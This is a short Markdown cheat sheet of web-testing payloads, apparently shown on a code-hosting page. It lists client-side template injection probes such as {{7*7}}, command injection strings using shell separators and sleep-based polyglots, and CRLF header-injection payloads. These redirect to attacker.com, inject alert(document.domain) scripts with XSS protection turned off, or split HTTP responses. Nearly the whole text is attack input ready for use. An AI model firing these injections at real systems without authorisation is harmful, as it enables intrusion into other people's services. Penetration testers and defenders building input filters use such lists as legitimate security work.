51 lines
960 B
Markdown
51 lines
960 B
Markdown
# PoCs and Polygloths CheatSheet
|
|
|
|
## Client Side Template Injection
|
|
|
|
### Basic Tests
|
|
|
|
```text
|
|
{{7*7}}
|
|
[7*7]
|
|
```
|
|
|
|
### Polygloths
|
|
|
|
```bash
|
|
{{7*7}}[7*7]
|
|
```
|
|
|
|
## Command Injection
|
|
|
|
### Basic Tests
|
|
|
|
```bash
|
|
ls; id
|
|
ls||id;
|
|
ls|id;
|
|
ls&&id;
|
|
ls&id;
|
|
ls%0Aid
|
|
`ls`
|
|
$(ls)
|
|
```
|
|
|
|
### Polygloths
|
|
|
|
```bash
|
|
1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
|
|
/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/
|
|
```
|
|
|
|
## CRLF
|
|
|
|
### Basic Tests
|
|
|
|
```bash
|
|
%0d%0aLocation:%20http://attacker.com
|
|
%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
|
|
%3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E
|
|
%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2025%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E
|
|
```
|
|
|